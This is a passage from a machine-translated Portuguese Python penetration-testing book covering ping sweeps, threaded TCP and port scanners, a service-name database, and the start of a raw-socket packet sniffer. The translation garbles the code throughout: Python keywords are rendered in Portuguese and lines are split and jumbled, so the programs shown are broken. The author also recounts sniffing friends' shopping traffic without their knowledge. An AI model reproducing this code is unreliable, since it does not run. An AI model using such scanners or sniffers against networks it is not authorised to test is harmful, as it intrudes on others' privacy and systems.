thread3
thread2 thread4 thread6 thread8 thread10
Criação e manipulação de fios
A saída do ping_sweep_th_.py programa é o seguinte:
G: \ Project Cobra \ Chapter 2 \ ip> python ping_sweep_th.py Digite o endereço de
rede 10.0.0.1 Digite o Iniciando número 1 introduzir o último número 60
Número de threads ativas: 4 Tópico
Saindo Principal
10.0.0.10 -> Em directo
10.0.0.13 -> Em directo
[40]
Capítulo 2
A digitalização foi concluída em 1 minuto 11 segundos. Como um exercício, altere o valor do tn variável,
configurá-lo a partir de 2 para 30, e depois estudar o resultado e descobrir o valor mais adequado e ideal de tn.
Até agora, você viu varredura de ping por multithreading; agora, eu ter escrito um programa
multithreading com o método de verificação TCP:
importação do tempo de threading
de importação
Tomada de importação, subprocess, coleções de

importação de rosca import sys
de data e hora de data e hora de importação ''

'seção 1' ''
net = raw_input ( "Digite o endereço de rede ") st1 = int (raw_input (" Digite o número
inicial ")) en1 = int (raw_input (" Entre o último número")) en1 = EN1 + 1
dic = collections.OrderedDict () net1 = net.split ( ' ') a

='.'
net2 = net1 [0] + a + net1 [1] + a + net1 [2] + um t1 =

datetime.now () '' 'secção 2' ''

def __init __ (self, r, en):
threading.Thread .__ __ Init (auto) self.st = r = self.en
en def correr (auto):
RUN1 (self.st, self.en)
'' 'Seção 3' '' def

(1) = resultado sock.connect_ex ((addr, 135)) se o resultado == 0:
sock.close () return
1 else:
sock.close ()
[41]
def RUN1 (st1, en1):

para ip em xrange (st1, EN1):
addr = net2 + str (ip) se
dic [ip] = addr ''
'secção 4' '' total_ip = en1-ST1
tn = 20 # número de ip tratado por um fio total_thread = total_ip / tn

total_thread = total_thread + 1 tópicos = [] tentar:
para i em xrange (total_thread):

# print "i é", i en = st1 + tn
se (en> EN1):
en = en1
threads.append (rosca) st1 = en excepto:
print "Erro: não foi possível iniciar thread"

print "\ t Número de Threads ativa:", threading.activeCount () para t em tópicos:
t.join ()
print "Saindo da linha principal"
dict = collections.OrderedDict (ordenadas (dic.items ())) para chave no dict:
dict de impressão [key], "->" "Live" t2 =

datetime.now () Total = t2-t1
Não deve haver nenhuma dificuldade em compreender o programa. A imagem seguinte mostra tudo:
[42]
Capítulo 2
Tome entrada 10.0.0.1
run10
Seção 1 10.0.0 saída.
gama
scan0
chamar run10
rosqueamento classe
seção 3
Seção 2
Faixa 1 run chamada 1

Faixa 1
fio 1
Faixa 2 IP de saída viver
Faixa 2 run chamada 1
faixa 3 rosca 2
faixa 4 faixa 3 run chamada 1
fio 3
Seção 4 criar faixa 4

run chamada 1
tópicos rosca 4
alcance
O scanner IP TCP
A classe tem uma gama como a entrada e chama o RUN1 () função. o secção 4
seção cria um segmento, que é a instância de uma classe, tem um curto alcance, e chama a RUN1 () função. o RUN1
() função tem um endereço IP, leva a gama dos tópicos, e produz a saída. A saída do iptcpscan.py programa é o
seguinte:
G: \ Project Cobra \ Chapter 2 \ ip> python iptcpscan_t.py Digite o endereço de
rede 10.0.0.1 Digite o número a partir de 1º introduzir o último número 60
Número de threads ativas: 4 Tópico
Saindo Principal
10.0.0.13 -> Em directo
Por 60 IPs em 20 segundos, o desempenho não é ruim. Como um exercício para você, combinar ambos os scanners
em um scanner.
[43]
Quais são os serviços em execução na máquina de

destino?
Agora você está familiarizado com a forma de digitalizar o endereço IP e identificar um host ao vivo dentro de
uma sub-rede. Nesta seção, vamos discutir os serviços que estão sendo executados em um host. Estes
serviços são os que estão usando uma conexão de rede. O serviço usando uma conexão de rede deve abrir
uma porta; a partir de um número de porta, que pode identificar qual o serviço que está a correr na máquina
alvo. Em pentesting, o significado de varredura de portas é verificar se qualquer serviço ilegítimo está sendo
executado na máquina host. Considere uma situação onde os usuários normalmente usam seu computador
para baixar um jogo, e um Trojan é identificado durante a instalação do jogo. O Trojan entra em modo oculto e
abre uma porta e envia registrar todas as teclas informações para o hacker. Nesta situação,
Os números de porta variam de 0 a 65536.The portas bem conhecidos (também conhecidos como portas do sistema) são
aquelas que variam de 0 a 1023, e são reservados para serviços privilegiados. Porto varia 1024-49151 são vendedores de
porta-like registrados usados para aplicações; por exemplo, a porta 3306 está reservado para MySQL.
O conceito de um scanner de porta

three-way handshake do TCP serve como lógica para o scanner de porta; no scanner TCP / IP, você viu que a porta (137
ou 135) é aquele em que os endereços IP são em um intervalo. No entanto, no scanner de porta, IP é apenas uma porta
em um intervalo. Tome um IP e tente conectar cada porta como um intervalo dado pelo usuário; Se a conexão for bem
sucedida, a porta se abre; caso contrário, a porta permanece fechada. Eu escrevi um código muito simples para a
exploração portuária:
Tomada de importação, subprocess, sys a partir de data e
hora de data e hora de importação
subprocess.call ( 'clear', shell = True)

rmip = raw_input ( "\ t Introduza o host remoto IP para fazer a varredura:") R1 = int (raw_input (
"\ t Insira a porta de início número \ t")) r2 = int (raw_input ( "\ t Introduza o número de último
porto \ t ")) print "*" * 40
print "\ n Scanner de Mohit está trabalhando em", imprimir rmip "*" * 40
[44]
Capítulo 2
t1 = datetime.now () tentar:
para porta na gama (R1, R2):

(1)
resultado = sock.connect_ex ((rmip, porta)) se o resultado ==

0:
imprimir "Porta Aberta: -> \ t", o porto
# desc impressão [porta]
sock.close ()
exceto KeyboardInterrupt:
imprimir "Você parar este" sys.exit ()
exceto socket.gaierror:
print "Hostname não pôde ser resolvido" sys.exit ()
exceto socket.error:
imprimir "não pôde se conectar ao servidor" sys.exit ()
t2 = datetime.now ()
Total = t2-t1
A lógica principal tem sido escrito no experimentar bloco, o que denota o motor do carro. Você está
familiarizado com a sintaxe. Vamos fazer um R & D na saída. A saída do portsc.py programa é o seguinte:
root @ Mohit | Raj: / port # python portsc.py
Introduza o host remoto IP para fazer a varredura: 192.168.0.3 Digite o
número da porta início 1
Introduzir o último número da porta 4000
****************************************
Scanner de Mohit está trabalhando em 192.168.0.3
****************************************
Abra a porta: -> 22
[45]
Abra a porta: -> 80 Abra a
porta: -> 111 Abra a porta:
-> 443 Abra a porta: -> 924
Abra a porta: -> 3306
varredura completa em 0: 00: 00,766535
A saída anterior mostra que o scanner de porta digitalizada os portos 1000 em 0,7 segundos; a
conectividade estava cheio porque a máquina de destino ea máquina de scanner estavam na mesma
sub-rede. Vamos discutir uma outra saída:
Introduza o host remoto IP para fazer a varredura: 10.0.0.1 Digite o
número da porta início 1
****************************************
****************************************
Abra a porta: -> 23 Abra a
porta: -> 53 Abra a porta: -> 80
Abra a porta: -> 1780
Agora, vamos analisar a saída; para escanear 4.000 portos, o scanner levou 1: 06: 43.272751 horas, digitalização
levou muito tempo. A topologia é:
192.168.0.10 -> 192.168.0.1 -> 10.0.0.16 ---> 10.0.0.1 A 192.168.0.1 e 10.0.0.16 IPs são interfaces de
gateway. Colocamos 1 segundo em

socket.setdefaulttimeout (1), o que significa que a máquina scanner irá passar um período máximo de 1 segundo em cada
porta. O total de 4000 portos significa que, se todas as portas estão fechadas, em seguida, o tempo total necessário
será de 4000 segundos; se convertê-lo em horas, ele se tornará 1,07 horas, que é quase igual à saída do nosso
programa. Se colocarmos
socket.setdefaulttimeout (0,5), o tempo será reduzido para 30 minutos, mas, no entanto, seria ainda ser um longo.
Ninguém vai usar o nosso scanner. O tempo gasto deve ser inferior a 100 segundos para 4000 portas.
[46]
Capítulo 2
Como criar um scanner de porta eficiente

Tenho afirmado alguns pontos que devem ser tidos em conta para um bom scanner de porta:
• Multithreading deve ser usado para alto desempenho
• O socket.setdefaulttimeout (1) método deve ser definido de acordo com a situação
• O scanner de porta deve ter a capacidade de tomar nomes de host, bem como nomes de domínio
• A porta deve fornecer o nome do serviço com o número da porta
• O tempo total deve ser levado em conta para a exploração portuária
• Para digitalizar portas 0-65536, o tempo deve ser cerca de 3 minutos Então, agora, eu escrevi o meu
scanner de porta, que eu costumo usar para varredura de portas:
importação do tempo de threading
de importação
Tomada de importação, subprocess, sys de

datetime import datetime fio de importação
prateleira de importação
'''seção 1 '''
subprocess.call ( 'clear', shell = True) prateleira =
shelve.open ( "mohit.raj") data = (shelf [ 'desc'])
'''seção 2 '''
def __init __ (self, threadName, rmip, R1, R2, c):
threading.Thread .__ __ Init (auto) self.threadName =
threadName self.rmip = rmip self.r1 = R1 = R2 self.r2
self.c = C def correr (auto):
scantcp (self.threadName, self.rmip, self.r1, self.r2, self.c)
'' 'Seção 3 '''

def scantcp (threadName, rmip, R1, R2, c):
experimentar:
[47]
para porta na gama (R1, R2):

peúga = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
# peúga = socket.socket (socket.AF_INET, socket.SOCK_DGRAM) socket.setdefaulttimeout
(c) = resultado sock.connect_ex ((rmip, porta))
se o resultado == 0:
imprimir "Porta Aberta: ----> \ t", porto, "-", data.get (porta "não no banco de dados") sock.close ()
exceto KeyboardInterrupt:
imprimir "Você parar este" sys.exit ()
exceto socket.gaierror:
print "Hostname não pôde ser resolvido" sys.exit ()
exceto socket.error:
imprimir "não pôde se conectar ao servidor" sys.exit ()
shelf.close () '' 'seção

4 ''' print "*" * 60
print "\ tWelcome este é o scanner Porto de Mohit \ n"
d = raw_input ( "\ t Imprensa D para Nome de Domínio ou Prima I para Endereço IP \ t")
se (d == 'D' ou d == 'd'):
rmserver = raw_input ( "\ t Digite o nome de domínio para fazer a varredura: \ t") rmip =
socket.gethostbyname (rmserver) elif (d == 'I' ou d == 'i'):
rmip = raw_input ( "\ t Digite o endereço IP para fazer a varredura:")
outro:
print "input errado"
# rmip = socket.gethostbyname (rmserver)
r11 = int (raw_input ( "\ t Insira a porta de início número \ t")) r21 = int (raw_input ( "\ t Digite o
último número de porta \ t"))
[48]
Capítulo 2
conect = raw_input ( "Para baixo conectividade prima L e alta conectividade Pressione H \ t")
se (conect == 'L' ou conect 'l' ==):

c = 1,5
elif (conect == 'H' ou 'h' == Conect):

c = 0,5
outro:
print "\ t Input errado"
print "\ n Scanner de Mohit está trabalhando em", imprimir rmip "*" * 60 t1 =
datetime.now () tp = r21-r11
tn = 30
# tn número de porta manuseado por um fio tnum = tp / tn
# tnum número de segmentos
if (tp% tn = 0!):
tnum = tnum + 1
if (tnum> 300):
tn = tp / 300 tn = tn + 1
tnum = tp / tn if (tp% tn =
0!):
tnum = tnum + 1
'' 'Secção 5' '' tópicos = []
experimentar:
para i na gama (tnum):

# print "i é", ik = i r2 = r11 +
tn
# rosca = str (i)

rosca = MyThread ( "T1", rmip, R11, R2, c) Thread.Start ()
threads.append (rosca) r11 = r2
[49]
exceto:
print "Erro: não foi possível iniciar thread"
print "\ t Número de Threads ativos:", threading.activeCount ()
por t em tópicos:
t.join ()
print "Saindo da linha principal" t2 =
datetime.now ()
Total = t2-t1
Não tenha medo de ver o código completo; ele me levou 2 semanas. Vou explicar-lhe o código completo
seção-wise. Dentro seção 1, a subprocess.call ( 'clear', shell = True)
declaração funciona em Linux para limpar a tela. As duas linhas seguintes estão relacionados com o arquivo de
banco de dados que armazena as informações da porta, o que será explicado ao criar o arquivo de banco de
dados. Dentro seção 2, a myThread classe estende a classe threading, ou você poderia dizer, herda a classe
threading. Na linha seguinte, o def init (auto, threadName, rmip, R1, R2, c): declaração leva 5 valores; o primeiro é
threadName, que armazena o nome de fio; na verdade, eu ter tomado para fins de depuração. Se qualquer
tópico não funcionar, nós podemos imprimir o nome rosca. o rmip
argumento é um endereço IP remoto; r1 e r2 são os primeiros e os últimos números de porta, e
c é o modo de conexão; secção 4 fornece a todos os valores seção 1. De
corre() função, o scantcp () função é chamada. seção 3 é o motor do carro, o que foi explicado no Conceito de scanner
de porta seção. o data.get (porta "não no banco de dados") declaração é novo aqui; isso significa que, se a chave de porta
se encontra na base de dados de dicionário, então ele irá mostrar o valor; Caso contrário, ele irá imprimir Não em
base de dados. secção 4 interage com os usuários. Você pode dar o nome da máquina, bem como o endereço IP, ou
você pode dar o nome de domínio também; a if ... else declarações fazer esta tarefa. o r11 e r21 variáveis armazenar os
primeiros e últimos números de porta. Nas próximas
if ... else declarações definir o valor de c Se você acha que a conectividade com a máquina de destino é pobre, mas sem
perda de pacotes, então você pode pressionar H; se a conectividade é apenas bom, então você pode pressionar EU. o tn
= 30 variável define o número de portas manipulados por um único segmento. o tnum variável calcula o número total de
threads necessários para realizar a tarefa.
Eu escrevi o seguinte código após a realização de muitas experiências:
if (tnum> 300):
tn = tp / 300 tn = tn + 1
tnum = tp / tn if (tp% tn =
0!):
tnum = tnum + 1
[50]
Capítulo 2
Quando o número total de threads ultrapassa os 300, os fios não funcionar. Isso significa que o número de
segmentos tem de ser inferior ou igual a 300. O código anterior define os novos valores de tn e tnum. Dentro Seção
5, nada é novo, como se viu tudo antes em scanners de PI.
Agora é hora de ver a saída do portsc14.py programa:
root @ Mohit | Raj: / port # python portsc14.py
************************************************************
Bem-vindo este é o scanner Porto de Mohit
Pressione D para Nome de Domínio ou Prima I para Endereço IP i Digite o
endereço IP para fazer a varredura: 10.0.0.1 Digite o número da porta início
Para baixa conectividade pressione L e alta conectividade Pressione H l
************************************************************
Número de threads ativas: 135 Porta Aberta:
----> 1780 - Não em Banco de Dados
Abra a porta: ----> 80 - HTTP
Abra a porta: ----> 23 - Telnet
Abra a porta: ----> 53 - DNS
Saindo da linha principal
Nosso scanner de porta eficiente tem dado a mesma saída que o scanner simples anterior, mas do ponto de vista
do desempenho, há uma enorme diferença. O tempo gasto por um scanner simples foi de 1: 06: 43,272751, mas o
novo scanner multithreaded levou apenas 33 segundos. Ele também mostra o nome do serviço. Vamos verificar
outra saída com portas 1 a 50000:
root @ Mohit | Raj: / port # python portsc14.py
************************************************************
Bem-vindo este é o scanner Porto de Mohit
[51]
Pressione D para Nome de Domínio ou Prima I para Endereço IP i Digite o endereço
IP para fazer a varredura: 10.0.0.1 Digite o número da porta início
Para baixa conectividade pressione L e alta conectividade Pressione H l
************************************************************
Número de threads ativas: 301 Porta Aberta:
----> 23 - Telnet
Abra a porta: ----> 53 - DNS
Abra a porta: ----> 80 - HTTP
Abra a porta: ----> 1780 - Não em Banco de Dados
Abra a porta: ----> 5000 - Não é no banco de dados
Saindo da linha principal
O tempo necessário é de 2 minutos e 54 segundos; Eu fiz a mesma experiência de alta

conectividade, onde o tempo é 0: 01: 23,819774, que é quase a metade da anterior.
Em um experimento multithreading, se produzirmos tn número de fios, então threading.activeCount

() mostra sempre tn + 1 número de threads, porque conta os principais tópicos também. O thread
principal é o segmento que executa todas as threads. Como um exercício, use o rosqueamento.
activeCount () método no programa do scanner simples, e em seguida, verifique a saída.
Agora, eu vou te ensinar como criar um arquivo de banco de dados que contém a descrição de todos os
números de porta; aqui está o código:
importação prateleira
def create ():
prateleira = shelve.open ( "mohit.raj", write-back = True) prateleira [ 'desc'] = {}
shelf.close ()
print "dicionário é criado"
[52]
Capítulo 2
update def ():

prateleira = shelve.open ( "mohit.raj", write-back = True) data = (shelf [ 'desc'])
porto = int (raw_input ( "Introduzir a porta: ")) de dados [porta] = raw_input (" \ n
Introduza a descrição \ t") shelf.close ()
DEL1 def ():

port = int (raw_input ( "Entre o Porto:")) del dados [porta] shelf.close

()
print "\ n entrada é eliminada"
lista1 def ():

print "*" * 30
para a chave, o valor de data.items ():
chave de impressão, ":", o valor de
impressão "*" * 30
print "Programa \ t de atualizar ou adicionar e excluir o número da porta detalhe \ n" while (true):
print "Press"
print "C para criar apenas uma vez criar" print "U para atualizar ou
adicionar \ nD para exclusão" print "L para lista todos os valores" print
"E para Exit" c = raw_input ( "Enter")
if (c == 'C' ou C == 'c'):
crio()
elif (c == 'U' ou c == 'u'):

atualizar()
elif (c == 'D' ou c == 'd'):

DEL1 ()
elif (c == 'L' ou c == 'l'):

lista1 ()
[53]
elif (c == 'E' ou c == 'e'):

Saída()
outro:
print "\ t entrada errada"
No programa anterior, que armazenado apenas um dicionário que contém a tecla como o número da porta e
os valores como a descrição do número de porta. O nome do dicionário é desc. Então eu fiz desc uma chave
da prateleira para armazenar em um arquivo chamado mohit.raj.
def create ():

prateleira = shelve.open ( "mohit.raj", write-back = True) prateleira [ 'desc'] = {}
shelf.close ()
este crio() função é apenas um dicionário vazio. o desc dicionário é um dicionário no programa, enquanto
shelf [ 'desc'] é um dicionário no arquivo. Use esta função apenas uma vez para criar um arquivo.
update def ():

porto = int (raw_input ( "Introduzir a porta: ")) de dados [porta] = raw_input (" \ n
Introduza a descrição \ t") shelf.close ()
este atualizar() função atualiza o dicionário. No write-back = True

declaração, o Escreva de volta prateleira bandeira lembra de todos os valores recebidos a partir dos arquivos, e
cada valor, que está atualmente no cache, é escrito de volta para o arquivo. o Dados = (prateleira [ 'desc']) dicionário é
o dicionário de prateleira, que tem sido atribuído aos dados variáveis. o del () função exclui qualquer número de
porta a partir do dicionário. o lista1 () página mostra o dicionário completo. Para alcançar este objetivo, o
para circuito é usado. A saída do updatec.py programa é o seguinte:
G: \ Project Cobra \ Chapter 2> updatec.py python
Programa de atualizar ou adicionar e excluir o detalhe número de porta
pressione
C para criar apenas uma vez criar U para atualizar
ou adicionar D para apagar
[54]
Capítulo 2
L para a lista dos todos os valores de E
para Exit Enter: c
Dicionário é criado Imprensa
para Exit Enter: u
Entrar no porto: 80
Digite a descrição HTTP Imprensa
para Exit Enter: l
******************************
80: HTTP
******************************
pressione
para Exit Enter: e
G: \ Project Cobra \ Chapter 2>
[55]
Espero que você tem uma idéia justa do scanner de porta; em poucas palavras, o scanner de porta compreende
três arquivos, o primeiro arquivo é o scanner ( portsc14.py), o segundo arquivo é o banco de dados ( mohit.raj), e o
terceiro é um updatec.py. Você só precisa atualizar o mohit.raj arquivo para inserir uma descrição do número máximo
de portas.
Resumo
digitalização em rede é feito para reunir informações sobre as redes, hosts e serviços que estão em execução nos
hosts. digitalização em rede é feita pelo sibilo comando do sistema operacional; varredura de ping aproveita a
facilidade de ping e verifica a lista de IPs. Às vezes, varredura de ping não funciona porque os usuários podem
desligar sua característica resposta ICMP ECHO ou usar um firewall para bloquear pacotes ICMP. Nesta situação, o
scanner varredura de ping pode não funcionar. Em tais cenários, temos que aproveitar o handshake de três vias
TCP; TCP funciona na camada de transporte, por isso temos de escolher o número da porta em que queremos
realizar a conexão TCP varredura. Algumas portas do sistema operacional Windows estão sempre abertas. Assim,
você pode aproveitar as portas abertas. A primeira seção principal é dedicado a digitalização em rede; quando você
executar a digitalização em rede, o programa deve ter o máximo desempenho e ter tempo mínimo. A fim de
aumentar significativamente o desempenho, multithreading deve ser usado.
Depois que a exploração dos exércitos ao vivo, varredura de portas é usado para verificar os serviços executados em um
determinado host; às vezes, alguns programas usar uma conexão de Internet que permite Trojans; varredura de portas pode
detectar estes tipos de ameaças. Para fazer a varredura um porto eficiente, multithreading desempenha um papel vital, porque os
números das portas variam de 0 a
65536. Para digitalizar uma lista enorme, multithreading deve ser utilizado.
No próximo capítulo, você vai ver sniffing e seus dois tipos: Sniffing passiva e ativa. Você também vai
aprender como capturar dados, o conceito de pacote de artesanato, eo uso da biblioteca scapy para fazer
pacotes personalizados.
[56]
Sniffing e Penetração
prova
Quando eu estava perseguindo o meu Mestrado em Engenharia (ME) grau, eu costumava cheirar as redes em
albergues de meus amigos com a minha ferramenta favorita, Cain & Abel. Meus amigos sites de comércio eletrônico
geralmente de surf. No dia seguinte, quando eu lhes disse que os sapatos que eles estavam comprando em sites
eram bons, eles iriam se surpreender. Eles sempre perguntam como eu tenho essa informação. Bem, tudo isso é
devido a sniffing da rede.
Neste capítulo, estudaremos sniffing uma rede, e irá abranger os seguintes tópicos:
• O conceito de um sniffer
• Os tipos de rede sniffing
• Rede sniffing usando Python
• elaboração de pacotes usando Python
• O conceito ARP spoofing e implementação de Python
• Testes de segurança pelo costume pacote de artesanato

Sniffing e Teste de Invasão
Apresentando um sniffer de rede

sniffing é um processo de monitorização e captura de todos os pacotes de dados que passam através de uma
determinada rede utilizando o software (um pedido) ou um dispositivo de hardware. Sniffing geralmente é feito por um
administrador de rede. No entanto, um invasor pode usar um sniffer para capturar dados, e estes dados, às vezes, pode
conter informações confidenciais, como um nome de usuário e senha. administradores de rede utilizar uma porta SPAN
switch. Switch envia uma cópia do tráfego para a porta SPAN. O administrador usa essa porta SPAN para analisar o
tráfego. Se você é um hacker, você deve ter usado a ferramenta Wireshark. Sniffing só pode ser feito dentro de uma
sub-rede. Neste capítulo, vamos aprender sobre sniffing utilizando Python. No entanto, antes disso, precisamos saber que
existem dois métodos de sniffing. Eles são os seguintes:
• sniffing passiva
• sniffing ativa
sniffing passiva
fungar passiva refere-se a cheirar a partir de uma rede baseada em cubo. Ao colocar um sniffer de pacotes em uma
rede no modo promíscuo, um hacker pode capturar os pacotes dentro de uma sub-rede.
sniffing ativa
Este tipo de sniffing é realizado em uma rede baseada em switch. Interruptor é mais inteligente do cubo. Ele envia
pacotes para o computador após a verificação em uma tabela MAC. sniffing ativo é realizada usando ARP spoofing,
que será explicado mais adiante no capítulo.
A implementação de um sniffer de rede usando

Python
Antes de aprender sobre a implementação de um sniffer de rede, vamos aprender sobre um determinado struct método:
• struct.pack (FMT, v1, v2, ...): Este método retorna uma cadeia que contém os valores de V1, V2, e assim
por diante, embalados de acordo com o formato dado
• struct.unpack (FMT, string): Este método descompacta a string de acordo com o formato dado
[58]
Capítulo 3
Vamos discutir o código:
struct importação
ms = struct.pack ( 'HHL', 1, 2, 3) de impressão (ms)
k = struct.unpack ( 'HHL', ms) print k
A saída para o código anterior é como se segue:
G: \ Python \ Networking \ network> str1.py python ☺ ☻ ♥ (1, 2, 3)
Primeiro, importe o struct módulo, e, em seguida, embalar os números inteiros 1, 2, e 3 no

HHL formato. Os valores são embalados como código de máquina. Os valores são descompactados utilizando o mesmo HHL formato;
aqui, H significa um número inteiro curto e L significa um número inteiro longo. Mais detalhes são fornecidos nas seções
subseqüentes.
Considere a situação do cliente-servidor; vamos ilustrá-la por meio de um exemplo. Execute o struct1.py.
Arquivo. O código do lado do servidor é a seguinte:
importação tomada importação

struct hospedeira = "192.168.0.1"
port = 12347

s.listen (1)
Conn, addr = s.accept () impressão "ligados por", addr
MSZ = struct.pack conn.close ( 'HHL', 1, 2, 3) conn.send
(MSZ) ()
O código inteiro é o mesmo que vimos anteriormente, com MSZ = struct. embalagem ( 'HHL', 1, 2, 3) embalagem
a mensagem e conn.send (MSZ) enviando a mensagem. Execute o unstruc.py Arquivo. O código do lado
do cliente é a seguinte:
importação struct tomada

de importação
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) hospedeira = "192.168.0.1"
[59]
porto = 12347
s.connect ((host, port)) msg = s.recv
(1024) msg de impressão
struct.unpack print ( 'HHL', msg)

s.close ()
O código do lado do cliente aceita a mensagem e descompacta-lo no formato dado. A saída para o código
do lado do cliente é a seguinte:
C: \ rede> pitão ☺ unstruc.py ☻ ♥ (1, 2, 3)
A saída para o código do lado do servidor é a seguinte:
G: \ Python \ Networking \ program> struct1.py python conectados por (

'192.168.0.11', 1417)
Agora, você deve ter uma boa idéia de como embalar e desembalar os dados.
caracteres de formato
Vimos o formato do pacote e métodos de desfazer as malas. Na tabela a seguir, temos C Tipo e Python
colunas do tipo. Ele indica a conversão entre tipos C e Python. A coluna de tamanho padrão refere-se ao
tamanho do valor embalado em bytes.
Formato Tipo C tipo de Python Tamanho padrão
X byte pad nenhum valor
c Caracteres cadeia de comprimento 1 1
b signed char número inteiro 1
B unsigned char número inteiro 1
? _Bool bool 1
h curto número inteiro 2
H unsigned short número inteiro 2
Eu int número inteiro 4
Eu int não assinado número inteiro 4
eu longo número inteiro 4
eu unsigned long número inteiro 4
q longo longo número inteiro 8
[60]
Capítulo 3
Formato Tipo C tipo de Python Tamanho padrão
Q unsigned long long número inteiro 8
f flutuador flutuador 4
d Duplo flutuador 8
s Caracteres[] corda
p Caracteres[] corda
P void * número inteiro
Vamos verificar o que vai acontecer quando um valor é embalado em diferentes formatos:
> > > struct importação
> > > struct.pack ( 'b', 2) '\ x02'
> > > struct.pack ( 'B', 2) '\ x02'
> > > struct.pack ( 'h', 2) '\ x02 \
x00'
Nós lotado o número 2 em três formatos diferentes. A partir da tabela anterior, sabemos que b e B são um
byte de cada, o que significa que eles são do mesmo tamanho. Contudo, h é de 2 bytes. Agora, vamos usar
a longo int, que é de 8 bytes:
> > > struct.pack ( 'q', 2)
'\ X02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
Se trabalharmos em uma rede,! deve ser utilizado no seguinte formato. O ! é usado para evitar a confusão de
se bytes de rede são little-endian ou big-endian. Para mais informações sobre endian big-endian e pouco,
você pode consultar a página da Wikipedia sobre endianness:
> > > struct.pack ( '! q', 2)
'\ X00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02'
>>>
[61]
Você pode ver a diferença quando se usa! no formato.
Antes de prosseguir para cheirar, você deve estar ciente das seguintes definições:
• PF_PACKET: Opera-se na camada de controlador de dispositivo. A biblioteca pcap para Linux utiliza sockets
PF_PACKET. Para executar isso, você deve estar logado como root. Se você quiser enviar e receber
mensagens no nível mais básico, abaixo da camada de protocolo de Internet, então você precisa usar
PF_PACKET.
• soquete Raw: Ele não se preocupa com a pilha de camadas de rede e oferece um atalho para enviar e
receber pacotes diretamente para o aplicativo. Os seguintes métodos de soquete são utilizados para a conversão
de ordem de bytes:
• socket.ntohl (x): Esta é a rede para hospedar longa. Ele converte um número inteiro positivo de 32-bit a partir da
rede para receber a ordem de byte.
• socket.ntohs (x): Esta é a rede para hospedar curto. Ele converte um número inteiro positivo de 16 bits a partir da
rede para receber a ordem de byte.
• socket.htonl (x): Este é o anfitrião de rede de longa. Ele converte um número inteiro positivo de 32 bits a partir do
hospedeiro para o fim de bytes da rede.
• socket.htons (x): Este é o host para rede curto. Ele converte um número inteiro positivo de 16 bits a partir do
hospedeiro para o fim de bytes da rede. Então, qual é o significado dos quatro métodos anteriores?
Considere-se um número de 16 bits 0000000000000011. Quando você envia esse número de um computador
para outro computador, a sua ordem pode ser mudada. O computador receptor pode recebê-lo de outra forma,
como 1100000000000000. Estes métodos converter de sua ordem de byte nativa da rede byte ordem e
vice-versa. Agora, vamos olhar o código para implementar um sniffer de rede, que irá funcionar em três
camadas do TCP / IP, ou seja, a camada física (Ethernet), a camada de rede (IP), e a camada TCP (porta).
Antes de olharmos para o código, você deve saber sobre os cabeçalhos de todas as três camadas:
• A camada física: Esta camada lida com o quadro Ethernet, como mostrado na imagem a seguir:
7 1 6 6 2 0-1500 0-46 4
Dest Fonte endereço Tipo ou

Preâmbulo Dados Almofada Checksum
endereço Lendth
Comece Bytes quadro delimitador
A estrutura da estrutura de Ethernet IEEE 802.3
[62]
Capítulo 3
A explicação para o esquema anterior é como se segue:
° o Preâmbulo consiste de 7 bytes, todos da forma 10101010, e é

utilizado pelo receptor para permitir que ele estabelecer a sincronização de bit
° o Comece quadro delimitador consiste de um único byte, 10101011,

que é uma bandeira quadro que indica o início de um quadro
° o Destino e Fonte endereços são os endereços Ethernet

geralmente citado como uma sequência de 6 bytes
Estamos interessados apenas no endereço de origem e endereço de destino. A parte de dados

contém os cabeçalhos IP e TCP.
Uma coisa que você deve sempre lembrar é que quando o quadro vem ao nosso
tampão programa, ele não contém o
Preâmbulo e Comece quadro delimitador Campos.
endereços MAC, como AA: BB: CC: 56: 78: 45 12 contêm caracteres hexadecimais, e cada byte
contém 2 valores hexadecimais. Para armazenar endereços MAC, usaremos 6 bytes de
memória.
• A camada de rede ou IP: Nesta camada, estamos interessados no endereço IP de origem e de
destino.
Agora, vamos passar para o nosso cabeçalho IPv4, como mostrado na imagem seguinte:
4 Byte
0 1 2 3
DIH (Header
Versão Tipo de Serviço (TOS) Comprimento total
Comprimento)
Bandeiras IP
Identificação Fragment offset
x DM
20
Bytes
Time to Live (TTL) Protocolo cabeçalho Checksum
DIH
(Internet
Endereço de Origem
cabeçalho
Comprimento)
Endereço de destino
Opção IP (comprimento variável, opcional, não é comum)
O cabeçalho IPv4
[63]
O cabeçalho de pacote IPv4 é composto por 14 campos, das quais apenas 13 são necessários. O campo 14 é
opcional. Este cabeçalho é de 20 bytes. Os últimos 8 bytes conter o nosso endereço IP de origem e destino
endereço IP. Os bytes de 12 a 16 de conter o endereço IP de origem e os bytes de 17 a 20 conter o endereço IP
de destino.
• O cabeçalho TCP: Neste cabeçalho, estamos interessados no porto de origem eo endereço da porta de destino.
Se você observar o cabeçalho TCP, você vai perceber que ela também é 20 bytes de comprimento, e
começando 2 bytes do cabeçalho fornecer a porta de origem e os próximos 2 bytes fornecer o endereço da porta
de destino. Você pode ver o cabeçalho TCP na imagem a seguir:
4 Byte
0 1 2 3
Porta de origem Porto de destino
Número sequencial
20
Número de confirmação
Bytes
Flags TCP
compensar Reservado Janela
CEUAPRSF
Checksum Urgent Pointer
Opções de TCP (tamanho variável, opcional)
O cabeçalho TCP
Agora, inicie o modo promíscuo da placa de interface e dar o comando como superusuário. Então, qual é o modo
promíscuo ou promisc? Em redes de computadores, o modo promíscuo permite que a placa de interface de rede
para ler pacotes que chegam em sua sub-rede. Por exemplo, num ambiente de cubo, quando um pacote chega a
uma porta, que é copiado para os outros portos e apenas o utilizador que lê destina pacote. No entanto, se outros
dispositivos de rede estão funcionando em modo promíscuo, esse dispositivo pode também ler que o pacote:
ifconfig eth0 promisc
[64]
Capítulo 3
Verificar o efeito do comando anterior, como mostrado na imagem seguinte, digitando o comando ipconfig:
Mostrando o modo promíscuo
A imagem mostra o precedente eth0 placa de rede e está trabalhando em modo promíscuo.
Alguns cartões não pode ser definido para o modo promíscuo por causa de seus motoristas, suporte kernel, e assim
por diante.
Agora, é hora de código. Primeiro, vamos olhar para o seguinte código inteiro e depois compreendê-lo linha
por linha:
soquete importação
binascii importação
importação struct
s = socket.socket (. socket.PF_PACKET, socket.SOCK_RAW, Tomada ntohs (0x0800)) embora
verdadeira:
PKT = s.recvfrom (2048) ethhead =

PKT [0] [00:14]
